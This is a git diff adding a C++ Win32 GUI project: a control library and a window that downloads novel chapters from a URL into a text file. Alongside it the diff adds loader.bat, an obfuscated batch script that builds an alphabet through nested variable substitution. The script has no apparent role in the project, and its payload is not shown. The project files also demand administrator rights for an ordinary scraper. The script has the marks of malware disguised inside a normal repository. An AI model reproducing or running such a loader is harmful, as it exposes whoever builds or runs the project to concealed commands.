OnKeyDown; + EventHandler OnKeyUp; + EventHandler OnGotFocus; + EventHandler OnLostFocus; + + EventHandler OnSizeChanged; + EventHandler OnMoved; + Control(); + + PROPERTY(HWND, Parent); + GET(HWND, Parent); + SET(HWND, Parent); + + PROPERTY(Control*, ParentControl); + GET(Control*, ParentControl); + SET(Control*, ParentControl); + + PROPERTY(std::wstring, Text); + GET(std::wstring, Text); + SET(std::wstring, Text); + + PROPERTY(DWORD, Style); + GET(DWORD, Style); + SET(DWORD, Style); + + PROPERTY(DWORD, StyleEx); + GET(DWORD, StyleEx); + SET(DWORD, StyleEx); + + PROPERTY(std::wstring, Class); + GET(std::wstring, Class); + + PROPERTY(int, Width); + GET(int, Width); + SET(int, Width); + PROPERTY(int, Height); + GET(int, Height); + SET(int, Height); + + PROPERTY(int, Left); + GET(int, Left); + SET(int, Left); + PROPERTY(int, Top); + GET(int, Top); + SET(int, Top); + + PROPERTY(int, X); + GET(int, X); + SET(int, X); + PROPERTY(int, Y); + GET(int, Y); + SET(int, Y); + + PROPERTY(int, Right); + GET(int, Right); + SET(int, Right); + PROPERTY(int, Bottom); + GET(int, Bottom); + SET(int, Bottom); + + + PROPERTY(POINT, Location); + GET(POINT, Location); + SET(POINT, Location); + PROPERTY(SIZE, Size); + GET(SIZE, Size); + SET(SIZE, Size); + + PROPERTY(BOOL, Checked); + GET(BOOL, Checked); + SET(BOOL, Checked); + + PROPERTY(RECT, Rect); + GET(RECT, Rect); + SET(RECT, Rect); + + PROPERTY(BOOL, Enable); + GET(BOOL, Enable); + SET(BOOL, Enable); + + PROPERTY(BOOL, Visable); + GET(BOOL, Visable); + SET(BOOL, Visable); + + PROPERTY(COLORREF, ForeColor); + virtual GET(COLORREF, ForeColor); + virtual SET(COLORREF, ForeColor); + + PROPERTY(COLORREF, BackColor); + virtual GET(COLORREF, BackColor); + virtual SET(COLORREF, BackColor); + + PROPERTY(std::vector, Childens); + GET(std::vector, Childens); + + PROPERTY(std::vector, ChildHandles); + GET(std::vector, ChildHandles); + + PROPERTY(HFONT, Font); + GET(HFONT, Font); + SET(HFONT, Font); + + PROPERTY(HBITMAP, Bitmap); + GET(HBITMAP, Bitmap); + SET(HBITMAP, Bitmap); + + READONLY_PROPERTY(HWND, TopLevelControl); + GET(HWND, TopLevelHandle); + + READONLY_PROPERTY(class Window*, TopLevelWindow); + GET(class Window*, TopLevelWindow); + void SetRect(POINT location, SIZE size); + void SetRect(int x, int y, int width, int height); + void CaptureMessage(); + BOOL RemoveChild(Control* child); + void SetFont(std::wstring fontName, int fontSize); + virtual LRESULT ProcessEvent(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam); + +}; + +class Button : public Control +{ +public: + Button(Control* parent); +}; +class CheckBox : public Control +{ +public: + CheckBox(Control* parent); +}; +class ComboBox : public Control +{ +public: + ComboBox(Control* parent); + + PROPERTY(int, SelectedIndex); + GET(int, SelectedIndex); + SET(int, SelectedIndex); + READONLY_PROPERTY(std::wstring, SelectedItem); + GET(std::wstring, SelectedItem); + std::wstring operator[](int index); + void AddItem(std::wstring index); + READONLY_PROPERTY(int, Count); + GET(int, Count); + void Clear(); + void RemoveAt(int index); +}; +class GroupBox : public Control +{ +public: + GroupBox(Control* parent); +}; +class Label : public Control +{ +public: + Label(Control* parent); +}; +class ListBox : public Control +{ +public: + ListBox(Control* parent); + void AddItem(std::wstring item); + void RemoveAt(int index); + std::wstring operator[](int index); + void Clear(); + READONLY_PROPERTY(int, Count); + GET(int, Count); +}; +class ListView : public Control +{ +public: + ListView(Control* parent); + + READONLY_PROPERTY(int, ColumnCount); + GET(int, ColumnCount); + PROPERTY(int, RowCount); + GET(int, RowCount); + SET(int, RowCount); + void AddColumn(LVCOLUMN col); + void AddColumn(std::wstring name, int width, DWORD align = LVCFMT_LEFT, DWORD flag = LVCF_FMT | LVCF_WIDTH | LVCF_TEXT | LVCF_SUBITEM); + void RemoveColumn(int colIndex); + int AddRow(); + void SetItemText(int col, int row, std::wstring text); + void Clear(); + PROPERTY(int, SelectedRowIndex); + GET(int, SelectedRowIndex); + SET(int, SelectedRowIndex); + LVITEM GetItem(int colIndex, int rowIndex); + + std::wstring GetItemText(int colIndex, int rowIndex); +}; +class ProgressBar : public Control +{ +public: + ProgressBar(Control* parent); + PROPERTY(int, MaxValue); + GET(int, MaxValue); + SET(int, MaxValue); + PROPERTY(int, MinValue); + GET(int, MinValue); + SET(int, MinValue); + PROPERTY(int, Value); + GET(int, Value); + SET(int, Value); + +}; +class RadioBox : public Control +{ +public: + RadioBox(Control* parent); +}; +class RichTextBox : public Control +{ +public: + RichTextBox(Control* parent); + void AppendText(std::wstring str); + void AppendLine(std::wstring str); + void ScrollToCaret(); +}; +enum class ScrollBarDirection +{ + Horizontal, + Vertical +}; +class ScrollBar : public Control +{ +public: + ScrollBar(Control* parent, ScrollBarDirection dir = ScrollBarDirection::Horizontal); +}; +class TabPage : public Control +{ +public: + TabPage(Control* parent); +}; +class TabControl : public Control +{ + List pages = List(); +public: + TabControl(Control* parent); + TabPage* AddPage(std::wstring item); + void RemoveAt(int index); + std::wstring operator[](int index); + void Clear(); + LRESULT ProcessEvent(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam); + void UpdatePages(); + READONLY_PROPERTY(int, Count); + GET(int, Count); + READONLY_PROPERTY(int, SelectedIndex); + GET(int, SelectedIndex); + READONLY_PROPERTY(TabPage**, Pages); + GET(TabPage**, Pages); +}; +class TextBox : public Control +{ +#define ID_EDITCHILD 100 +public: + TextBox(Control* parent); + PROPERTY(const wchar_t, PasswordChar); + GET(const wchar_t, PasswordChar); + SET(const wchar_t, PasswordChar); + PROPERTY(BOOL, PasswordBox); + GET(BOOL, PasswordBox); + SET(BOOL, PasswordBox); +}; +class Tooltip : public Control +{ + Control* bindControl = NULL; +public: + Tooltip(Control* parent); + void SetMessage(std::wstring text); +}; +class Trackbar : public Control +{ +public: + Trackbar(Control* parent); + PROPERTY(int, MaxValue); + GET(int, MaxValue); + SET(int, MaxValue); + PROPERTY(int, MinValue); + GET(int, MinValue); + SET(int, MinValue); + PROPERTY(int, Value); + GET(int, Value); + SET(int, Value); + PROPERTY(int, SelStart); + GET(int, SelStart); + SET(int, SelStart); + PROPERTY(int, SelEnd); + GET(int, SelEnd); + SET(int, SelEnd); +}; +class TreeView : public Control +{ +public: + TreeView(Control* parent); + void Clear(); + HTREEITEM AddItem(const std::wstring& text, HTREEITEM parent = TVI_ROOT); + BOOL RemoveItem(HTREEITEM it); + + READONLY_PROPERTY(HTREEITEM, Selected); + GET(HTREEITEM, Selected); + READONLY_PROPERTY(std::wstring, SelectedString); + GET(std::wstring, SelectedString); + READONLY_PROPERTY(int, Count); + GET(int, Count); + std::wstring GetItemString(HTREEITEM it); + +}; +class DatePicker : public Control +{ +public: + DatePicker(Control* parent); +}; +class TimePicker : public Control +{ +public: + TimePicker(Control* parent); +}; +class Window : public Control +{ + static BOOL ClassInited; + static void InitWindowClass(); + COLORREF m_BackColor = RGB(255, 255, 255); +public: + Window(); + void Show(); + void ShowDialog(HWND parent = NULL); + static void Run(); + static void DoEvent(); + virtual GET(COLORREF, BackColor); + virtual SET(COLORREF, BackColor); + PROPERTY(HICON, Icon); + GET(HICON, Icon); + SET(HICON, Icon); + PROPERTY(BOOL, CanResize); + GET(BOOL, CanResize); + SET(BOOL, CanResize); + PROPERTY(BOOL, MaxBox); + GET(BOOL, MaxBox); + SET(BOOL, MaxBox); + PROPERTY(BOOL, MinBox); + GET(BOOL, MinBox); + SET(BOOL, MinBox); + static int g_WindowCount; + static List Windows; + void Close(); +}; +#define GUI_EVENT_LINK(x) [&](Control* sender, HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) {x(sender, hWnd, message, wParam, lParam); } \ No newline at end of file diff --git a/WinGUI/MainWindow.cpp b/WinGUI/MainWindow.cpp new file mode 100644 index 0000000..227468c --- /dev/null +++ b/WinGUI/MainWindow.cpp @@ -0,0 +1,163 @@ +#include "MainWindow.h" +#include "resource.h" +#include "Utils/Utils.h" +MainWindow::MainWindow() +{ + this->label1 = new Label(this); + this->tInput = new TextBox(this); + this->bOK = new Button(this); + this->pb = new ProgressBar(this); + this->MaxBox = FALSE; + + // Window + this->Size = SIZE{ 300, 120 }; + this->Text = L"KCE"; + this->CanResize = FALSE; + this->Icon = LoadIcon(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_ICON1)); + + this->label1->SetRect(10, 10, 200, 20); + this->label1->Text = L"URL"; + + this->tInput->SetRect(10, 32, 200, 24); + + this->bOK->SetRect(215, 32, 60, 24); + this->bOK->Text = L"开始"; + this->bOK->OnClicked += GUI_EVENT_LINK(this->bOK_OnClick); + + this->pb->SetRect(10, 60, 200, 10); + +} +MainWindow::~MainWindow() {} + +typedef struct Chapter +{ + std::string url; + std::string title; +}; +std::vector GetAllChapter(std::string url, std::string& bookName) +{ + std::vector res; + auto html = HttpHelper::HttpRequestGet(url); + while (0x00088b1f == *(UINT32*)html.c_str()) + { + html = HttpHelper::HttpRequestGet(url); + printf("."); + } + html = Convert::Utf8ToAnsi(html); + auto nameStart = html.find(R"(

)"); + auto nameEnd = html.find(R"(

)"); + if (nameStart != std::string::npos && nameEnd != std::string::npos) + { + size_t nameLen = (nameEnd - nameStart) - 4; + std::string bkName = html.substr(nameStart + 4, nameLen); + bookName = bkName; + } + + auto lines = StringHelper::Split(html, { '\r','\n' }); + for (auto l : lines) + { + auto found = l.find(R"(
  • 5) + { + auto title = l.substr(end + 2); + title = title.substr(0, title.size() - 9); + Chapter c; + if (url.ends_with("/")) + c.url = url + u; + else + c.url = url + "/" + u; + c.title = title; + res.push_back(c); + + } + } + } + return res; +} +std::string GetBook(std::string url) +{ + auto html = HttpHelper::HttpRequestGet(url); + while (0x88b1f == *(UINT32*)html.c_str()) + { + html = HttpHelper::HttpRequestGet(url); + printf("."); + } + html = Convert::Utf8ToAnsi(html); + std::stringstream sb; + auto lines = StringHelper::Split(html, { '\r','\n' }); + for (auto l : lines) + { + auto found = l.find(R"(    )"); + if (found != std::string::npos) + { + auto ls = StringHelper::Replace(l, "    ", ""); + ls = StringHelper::Replace(ls, "

    ", "\n"); + ls = StringHelper::Replace(ls, "", "\n"); + return ls; + } + } + return ""; +} +bool MainWindow::DownloadBook(std::string bookPage, std::string savePath) +{ + std::string bookName = ""; + auto pages = GetAllChapter(bookPage, bookName); + if (bookName.size() == 0) + return false; + savePath.append(bookName); + savePath.append(".txt"); + File::Delete(savePath); + File::Create(savePath); + int index = 0; + for (auto u : pages) + { + int errc = 0; + retry: + std::string bk = GetBook(u.url); + if (bk.size() == 0) + { + printf("[-] %d/%d %s -> ERROR\n", index + 1, pages.size(), u.url.c_str()); + if (errc++ > 10) + return false; + goto retry; + } + else + { + printf("[+] %d/%d %s -> OK\n", index + 1, pages.size(), u.url.c_str()); + File::AppendAllText(savePath, u.title + "\n"); + File::AppendAllText(savePath, bk); + } + index += 1; + this->pb->MaxValue = pages.size(); + this->pb->Value = index; + } + return true; +} +void MainWindow::bOK_OnClick(Control* sender, HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) +{ + std::string url = Convert::wstring_to_string(this->tInput->Text); + this->tInput->Text = L""; + auto run = [&]() {return this->DownloadBook(Convert::AnsiToUtf8(url), ""); }; + Task tsk(run); + auto runner = tsk.Start(); + this->bOK->Enable = false; + while (true) + { + Sleep(1); + Window::DoEvent(); + if (runner.IsComplete()) + break; + } + if (runner.Get()) + MessageBoxW(this->m_Handle, L"下载完成", L"提示", MB_OK); + else + MessageBoxW(this->m_Handle, L"下载失败", L"提示", MB_OK); + this->bOK->Enable = true; + this->pb->Value = 0; + UpdateWindow(this->m_Handle); +} \ No newline at end of file diff --git a/WinGUI/MainWindow.h b/WinGUI/MainWindow.h new file mode 100644 index 0000000..0d3fcbc --- /dev/null +++ b/WinGUI/MainWindow.h @@ -0,0 +1,18 @@ +#pragma once +#include "GUI/WinUI.h" +#include +#pragma comment (lib, "xmllite.lib") + +class MainWindow : public Window +{ + Label* label1 = NULL; + TextBox* tInput = NULL; + Button* bOK = NULL; + ProgressBar* pb = NULL; + void bOK_OnClick(Control* sender, HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam); + bool DownloadBook(std::string bookPage, std::string savePath); +public: + MainWindow(); + ~MainWindow(); +}; + diff --git a/WinGUI/WinGUI.rc b/WinGUI/WinGUI.rc new file mode 100644 index 0000000000000000000000000000000000000000..f4eb746153afc7884c6dd2074d5f857fc6947245 GIT binary patch literal 3228 zcmd5;+invv5IxTb{=p4J@RKCe75#=eE032KZ|*ZTy$(`D@D?XdLI`X-tzw3d_gar z!CC9a%?ZALjV~VFp0$2`Q9+YPVKEtVq3&^2pcvQJ;u=~QtPCy<0;RMNmt=*j%S}jIUF&E zFG&$m-iTbaJ>9asuA92l?Cl*_zI+-=k&h{R(w&*y^B_*^cyT z+rzVM#jVqFJ3FhE9CJrnl`kM!V+!c8R`r;{uHNsY%#!HkkrMsuJw;oChpdXKD{jbZ zX*DJpZQe(rpYt`Bgp$ZZ!$=wMg_+%9LLGLy#(Gh2kl`CX=SpwC`h|#bWAMrL3mf}F zEl6=~I|6kHdcl`l+BG?iwXix2y*h@J3yuk?2DY~tTWO44hjO{sZAuz-5-V~#xmR3E z61|<0M?5-p!l91j%XW84=-xv~9I=K)tYYdNlu?IYMdeC-W#gFJE(?Hy-|P*QUC5xNGxv%$FTPX(VBG-JCHa Nm6ypLE$Mfi^c#Ryg0cVr literal 0 HcmV?d00001 diff --git a/WinGUI/WinGUI.vcxproj b/WinGUI/WinGUI.vcxproj new file mode 100644 index 0000000..9ed1287 --- /dev/null +++ b/WinGUI/WinGUI.vcxproj @@ -0,0 +1,279 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 17.0 + Win32Proj + {ca76a14f-63ec-4054-97c5-d0b57520cd3f} + WinGUI + 10.0 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + false + Unicode + false + false + + + Application + true + v143 + Unicode + + + Application + false + v143 + false + Unicode + false + false + + + + + + + + + + + + + + + + + + + + + D:\Projects\CppUtils;$(ExternalIncludePath) + + + D:\Projects\CppUtils;$(ExternalIncludePath) + + + D:\Projects\CppUtils;$(ExternalIncludePath) + + + D:\Projects\CppUtils;$(ExternalIncludePath) + + + + Level3 + false + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + true + true + stdcpplatest + false + Default + MultiThreadedDebug + + + Console + true + RequireAdministrator + + + + + Level3 + true + true + false + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + true + true + stdcpplatest + Speed + AnySuitable + false + Disabled + + + Console + true + true + true + RequireAdministrator + + + + + Level3 + false + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + true + true + stdcpplatest + false + Default + MultiThreadedDebug + + + Console + true + RequireAdministrator + + + + + Level3 + true + true + false + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + true + true + stdcpplatest + Speed + AnySuitable + false + Disabled + + + Console + true + true + true + RequireAdministrator + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/WinGUI/WinGUI.vcxproj.filters b/WinGUI/WinGUI.vcxproj.filters new file mode 100644 index 0000000..37424b0 --- /dev/null +++ b/WinGUI/WinGUI.vcxproj.filters @@ -0,0 +1,310 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {5a8cac3d-21f8-44fd-acf9-dcf279a2459f} + + + {0f28b75e-651b-4c0b-9dcd-b1df334b8f48} + + + {b4e68bb9-b93f-4a9f-9205-46b587f83cf9} + + + {e6cfb527-f8dd-4ea2-b6bf-474195b942dd} + + + + + 源文件 + + + Utils\zlib + + + Utils\zlib + + + Utils\zlib + + + Utils\zlib + + + Utils\zlib + + + Utils\zlib + + + Utils\zlib + + + Utils\zlib + + + Utils\zlib + + + Utils\zlib + + + Utils\zlib + + + Utils\sqlite + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + GUI + + + 源文件 + + + Utils + + + Utils + + + Utils + + + + + 头文件 + + + Utils\zlib + + + Utils\zlib + + + Utils\zlib + + + Utils\zlib + + + Utils\zlib + + + Utils\zlib + + + Utils\zlib + + + Utils\zlib + + + Utils\zlib + + + Utils\zlib + + + Utils\zlib + + + Utils\sqlite + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + Utils + + + GUI + + + 头文件 + + + Utils + + + Utils + + + + + 资源文件 + + + + + 资源文件 + + + \ No newline at end of file diff --git a/WinGUI/loader.bat b/WinGUI/loader.bat new file mode 100644 index 0000000..ff1a921 --- /dev/null +++ b/WinGUI/loader.bat @@ -0,0 +1,621 @@ + +@echo off +set ryxZ= +set%ryxZ%dkqA== +set%ryxZ%zFHV%dkqA%s +%zFHV%et%ryxZ%oEUi%dkqA%e +%zFHV%%oEUi%t%ryxZ%ySUz%dkqA%t +%zFHV%%oEUi%%ySUz%%ryxZ%auaR%dkqA%a +%zFHV%%oEUi%%ySUz%%ryxZ%JPfc%dkqA%b +%zFHV%%oEUi%%ySUz%%ryxZ%jFcR%dkqA%c +%zFHV%%oEUi%%ySUz%%ryxZ%eTan%dkqA%d +%zFHV%%oEUi%%ySUz%%ryxZ%jNGT%dkqA%%oEUi% +%zFHV%%jNGT%%ySUz%%ryxZ%oqEf%dkqA%f +%zFHV%%jNGT%%ySUz%%ryxZ%xrmZ%dkqA%g +%zFHV%%jNGT%%ySUz%%ryxZ%RfGW%dkqA%h +%zFHV%%jNGT%%ySUz%%ryxZ%CJcv%dkqA%i +%zFHV%%jNGT%%ySUz%%ryxZ%IvME%dkqA%j +%zFHV%%jNGT%%ySUz%%ryxZ%MDvE%dkqA%k +%zFHV%%jNGT%%ySUz%%ryxZ%Rpab%dkqA%l +%zFHV%%jNGT%%ySUz%%ryxZ%wzhG%dkqA%m +%zFHV%%jNGT%%ySUz%%ryxZ%FgWh%dkqA%n +%zFHV%%jNGT%%ySUz%%ryxZ%nfnQ%dkqA%o +%zFHV%%jNGT%%ySUz%%ryxZ%IfFi%dkqA%p +%zFHV%%jNGT%%ySUz%%ryxZ%vQWn%dkqA%q +%zFHV%%jNGT%%ySUz%%ryxZ%bQXE%dkqA%r +%zFHV%%jNGT%%ySUz%%ryxZ%HjnB%dkqA%%zFHV% +%HjnB%%jNGT%%ySUz%%ryxZ%LzTg%dkqA%%ySUz% +%HjnB%%jNGT%%LzTg%%ryxZ%PdaP%dkqA%u +%HjnB%%jNGT%%LzTg%%ryxZ%cTrC%dkqA%v +%HjnB%%jNGT%%LzTg%%ryxZ%iAtm%dkqA%w +%HjnB%%jNGT%%LzTg%%ryxZ%NjxT%dkqA%x +%HjnB%%jNGT%%LzTg%%ryxZ%NgRa%dkqA%y +%HjnB%%jNGT%%LzTg%%ryxZ%zKSR%dkqA%z +%HjnB%%jNGT%%LzTg%%ryxZ%hKft%dkqA%A +%HjnB%%jNGT%%LzTg%%ryxZ%AInV%dkqA%B +%HjnB%%jNGT%%LzTg%%ryxZ%CpRi%dkqA%C +%HjnB%%jNGT%%LzTg%%ryxZ%pvpx%dkqA%D +%HjnB%%jNGT%%LzTg%%ryxZ%fglW%dkqA%E +%HjnB%%jNGT%%LzTg%%ryxZ%Fafy%dkqA%F +%HjnB%%jNGT%%LzTg%%ryxZ%MTMc%dkqA%G +%HjnB%%jNGT%%LzTg%%ryxZ%Smvj%dkqA%H +%HjnB%%jNGT%%LzTg%%ryxZ%VmrY%dkqA%I +%HjnB%%jNGT%%LzTg%%ryxZ%oZIv%dkqA%J +%HjnB%%jNGT%%LzTg%%ryxZ%Aldz%dkqA%K +%HjnB%%jNGT%%LzTg%%ryxZ%boeM%dkqA%L +%HjnB%%jNGT%%LzTg%%ryxZ%FwTG%dkqA%M +%HjnB%%jNGT%%LzTg%%ryxZ%UPtj%dkqA%N +%HjnB%%jNGT%%LzTg%%ryxZ%XuRq%dkqA%O +%HjnB%%jNGT%%LzTg%%ryxZ%kxMp%dkqA%P +%HjnB%%jNGT%%LzTg%%ryxZ%GVPh%dkqA%Q +%HjnB%%jNGT%%LzTg%%ryxZ%qwqn%dkqA%R +%HjnB%%jNGT%%LzTg%%ryxZ%KLrb%dkqA%S +%HjnB%%jNGT%%LzTg%%ryxZ%jXIt%dkqA%T +%HjnB%%jNGT%%LzTg%%ryxZ%jhLi%dkqA%U +%HjnB%%jNGT%%LzTg%%ryxZ%ILQQ%dkqA%V +%HjnB%%jNGT%%LzTg%%ryxZ%JzlL%dkqA%W +%HjnB%%jNGT%%LzTg%%ryxZ%EtIx%dkqA%X +%HjnB%%jNGT%%LzTg%%ryxZ%juqz%dkqA%Y +%HjnB%%jNGT%%LzTg%%ryxZ%woYy%dkqA%Z +%HjnB%%jNGT%%LzTg%%ryxZ%NymA%dkqA%0 +%HjnB%%jNGT%%LzTg%%ryxZ%WNHv%dkqA%1 +%HjnB%%jNGT%%LzTg%%ryxZ%Audo%dkqA%2 +%HjnB%%jNGT%%LzTg%%ryxZ%bCzL%dkqA%3 +%HjnB%%jNGT%%LzTg%%ryxZ%qbdc%dkqA%4 +%HjnB%%jNGT%%LzTg%%ryxZ%kBnz%dkqA%5 +%HjnB%%jNGT%%LzTg%%ryxZ%YwnA%dkqA%6 +%HjnB%%jNGT%%LzTg%%ryxZ%NmVc%dkqA%7 +%HjnB%%jNGT%%LzTg%%ryxZ%CQbe%dkqA%8 +%HjnB%%jNGT%%LzTg%%ryxZ%jimB%dkqA%9 +%HjnB%%jNGT%%LzTg%%ryxZ%nnRo%dkqA%%hKft% +%HjnB%%jNGT%%LzTg%%ryxZ%BfYk%dkqA%%AInV% +%HjnB%%jNGT%%LzTg%%ryxZ%vUpX%dkqA%C +%HjnB%%jNGT%%LzTg%%ryxZ%cLVB%dkqA%%pvpx% +%HjnB%%jNGT%%LzTg%%ryxZ%IFkS%dkqA%%fglW% +%HjnB%%jNGT%%LzTg%%ryxZ%bXVZ%dkqA%F +%HjnB%%jNGT%%LzTg%%ryxZ%eLpL%dkqA%%MTMc% +%HjnB%%jNGT%%LzTg%%ryxZ%nkOP%dkqA%%Smvj% +%HjnB%%jNGT%%LzTg%%ryxZ%sLpr%dkqA%%VmrY% +%HjnB%%jNGT%%LzTg%%ryxZ%jvya%dkqA%%oZIv% +%HjnB%%jNGT%%LzTg%%ryxZ%QLJh%dkqA%%Aldz% +%HjnB%%jNGT%%LzTg%%ryxZ%XYEt%dkqA%%boeM% +%HjnB%%jNGT%%LzTg%%ryxZ%OFVq%dkqA%%FwTG% +%HjnB%%jNGT%%LzTg%%ryxZ%dDry%dkqA%%UPtj% +%HjnB%%jNGT%%LzTg%%ryxZ%ByWY%dkqA%%XuRq% +%HjnB%%jNGT%%LzTg%%ryxZ%DhUS%dkqA%%kxMp% +%HjnB%%jNGT%%LzTg%%ryxZ%mkQE%dkqA%%GVPh% +%HjnB%%jNGT%%LzTg%%ryxZ%TbFO%dkqA%%qwqn% +%HjnB%%jNGT%%LzTg%%ryxZ%GwCy%dkqA%%KLrb% +%HjnB%%jNGT%%LzTg%%ryxZ%lsTU%dkqA%%jXIt% +%HjnB%%jNGT%%LzTg%%ryxZ%WcZk%dkqA%%jhLi% +%HjnB%%jNGT%%LzTg%%ryxZ%OwwG%dkqA%%ILQQ% +%HjnB%%jNGT%%LzTg%%ryxZ%ezmC%dkqA%%JzlL% +%HjnB%%jNGT%%LzTg%%ryxZ%ehPJ%dkqA%%EtIx% +%HjnB%%jNGT%%LzTg%%ryxZ%CBIV%dkqA%%juqz% +%HjnB%%jNGT%%LzTg%%ryxZ%BgzO%dkqA%%woYy% +%HjnB%%jNGT%%LzTg%%ryxZ%TRix%dkqA%a +%HjnB%%jNGT%%LzTg%%ryxZ%IwVu%dkqA%%JPfc% +%HjnB%%jNGT%%LzTg%%ryxZ%oIAT%dkqA%%jFcR% +%HjnB%%jNGT%%LzTg%%ryxZ%jFaF%dkqA%%eTan% +%HjnB%%jNGT%%LzTg%%ryxZ%BHNb%dkqA%%jNGT% +%HjnB%%BHNb%%LzTg%%ryxZ%LAXo%dkqA%%oqEf% +%HjnB%%BHNb%%LzTg%%ryxZ%Wzyi%dkqA%%xrmZ% +%HjnB%%BHNb%%LzTg%%ryxZ%wHXJ%dkqA%%RfGW% +%HjnB%%BHNb%%LzTg%%ryxZ%Qldb%dkqA%%CJcv% +%HjnB%%BHNb%%LzTg%%ryxZ%RYbJ%dkqA%%IvME% +%HjnB%%BHNb%%LzTg%%ryxZ%WgBq%dkqA%%MDvE% +%HjnB%%BHNb%%LzTg%%ryxZ%WxpR%dkqA%%Rpab% +%HjnB%%BHNb%%LzTg%%ryxZ%LeVW%dkqA%%wzhG% +%HjnB%%BHNb%%LzTg%%ryxZ%faaM%dkqA%%FgWh% +%HjnB%%BHNb%%LzTg%%ryxZ%LFGi%dkqA%%nfnQ% +%HjnB%%BHNb%%LzTg%%ryxZ%tDUy%dkqA%%IfFi% +%HjnB%%BHNb%%LzTg%%ryxZ%bFUY%dkqA%%vQWn% +%HjnB%%BHNb%%LzTg%%ryxZ%xYOY%dkqA%%bQXE% +%HjnB%%BHNb%%LzTg%%ryxZ%gbFR%dkqA%%HjnB% +%gbFR%%BHNb%%LzTg%%ryxZ%TdiM%dkqA%%LzTg% +%gbFR%%BHNb%%TdiM%%ryxZ%BUZd%dkqA%%PdaP% +%gbFR%%BHNb%%TdiM%%ryxZ%xQVt%dkqA%%cTrC% +%gbFR%%BHNb%%TdiM%%ryxZ%rBtM%dkqA%%iAtm% +%gbFR%%BHNb%%TdiM%%ryxZ%UhxE%dkqA%%NjxT% +%gbFR%%BHNb%%TdiM%%ryxZ%gUGx%dkqA%%NgRa% +%gbFR%%BHNb%%TdiM%%ryxZ%uFKu%dkqA%z +%gbFR%%BHNb%%TdiM%%ryxZ%dRCf%dkqA%%NymA% +%gbFR%%BHNb%%TdiM%%ryxZ%yCGt%dkqA%%jimB% +%gbFR%%BHNb%%TdiM%%ryxZ%FQJu%dkqA%%CQbe% +%gbFR%%BHNb%%TdiM%%ryxZ%XvTY%dkqA%%NmVc% +%gbFR%%BHNb%%TdiM%%ryxZ%QZJw%dkqA%%YwnA% +%gbFR%%BHNb%%TdiM%%ryxZ%IlGJ%dkqA%%kBnz% +%gbFR%%BHNb%%TdiM%%ryxZ%TGtI%dkqA%%qbdc% +%gbFR%%BHNb%%TdiM%%ryxZ%BptQ%dkqA%%bCzL% +%gbFR%%BHNb%%TdiM%%ryxZ%wZad%dkqA%%Audo% +%gbFR%%BHNb%%TdiM%%ryxZ%Vkqw%dkqA%%WNHv% +%gbFR%%BHNb%%TdiM%%ryxZ%MUrU%dkqA%%mkQE% +%gbFR%%BHNb%%TdiM%%ryxZ%kixM%dkqA%%ezmC% +%gbFR%%BHNb%%TdiM%%ryxZ%dEaJ%dkqA%%IFkS% +%gbFR%%BHNb%%TdiM%%ryxZ%cwao%dkqA%%TbFO% +%gbFR%%BHNb%%TdiM%%ryxZ%CRru%dkqA%%lsTU% +%gbFR%%BHNb%%TdiM%%ryxZ%hVhG%dkqA%%CBIV% +%gbFR%%BHNb%%TdiM%%ryxZ%lbfS%dkqA%%WcZk% +%gbFR%%BHNb%%TdiM%%ryxZ%xYhu%dkqA%%sLpr% +%gbFR%%BHNb%%TdiM%%ryxZ%ogzP%dkqA%%ByWY% +%gbFR%%BHNb%%TdiM%%ryxZ%dyqG%dkqA%%DhUS% +%gbFR%%BHNb%%TdiM%%ryxZ%fjty%dkqA%%nnRo% +%gbFR%%BHNb%%TdiM%%ryxZ%gsMm%dkqA%%GwCy% +%gbFR%%BHNb%%TdiM%%ryxZ%XNFd%dkqA%%cLVB% +%gbFR%%BHNb%%TdiM%%ryxZ%WAJG%dkqA%%bXVZ% +%gbFR%%BHNb%%TdiM%%ryxZ%OPME%dkqA%%eLpL% +%gbFR%%BHNb%%TdiM%%ryxZ%UYUe%dkqA%%nkOP% +%gbFR%%BHNb%%TdiM%%ryxZ%uLoM%dkqA%%jvya% +%gbFR%%BHNb%%TdiM%%ryxZ%EIdA%dkqA%%QLJh% +%gbFR%%BHNb%%TdiM%%ryxZ%JQjP%dkqA%%XYEt% +%gbFR%%BHNb%%TdiM%%ryxZ%roPD%dkqA%%BgzO% +%gbFR%%BHNb%%TdiM%%ryxZ%wCTM%dkqA%%ehPJ% +%gbFR%%BHNb%%TdiM%%ryxZ%aZfR%dkqA%%vUpX% +%gbFR%%BHNb%%TdiM%%ryxZ%lNWe%dkqA%%OwwG% 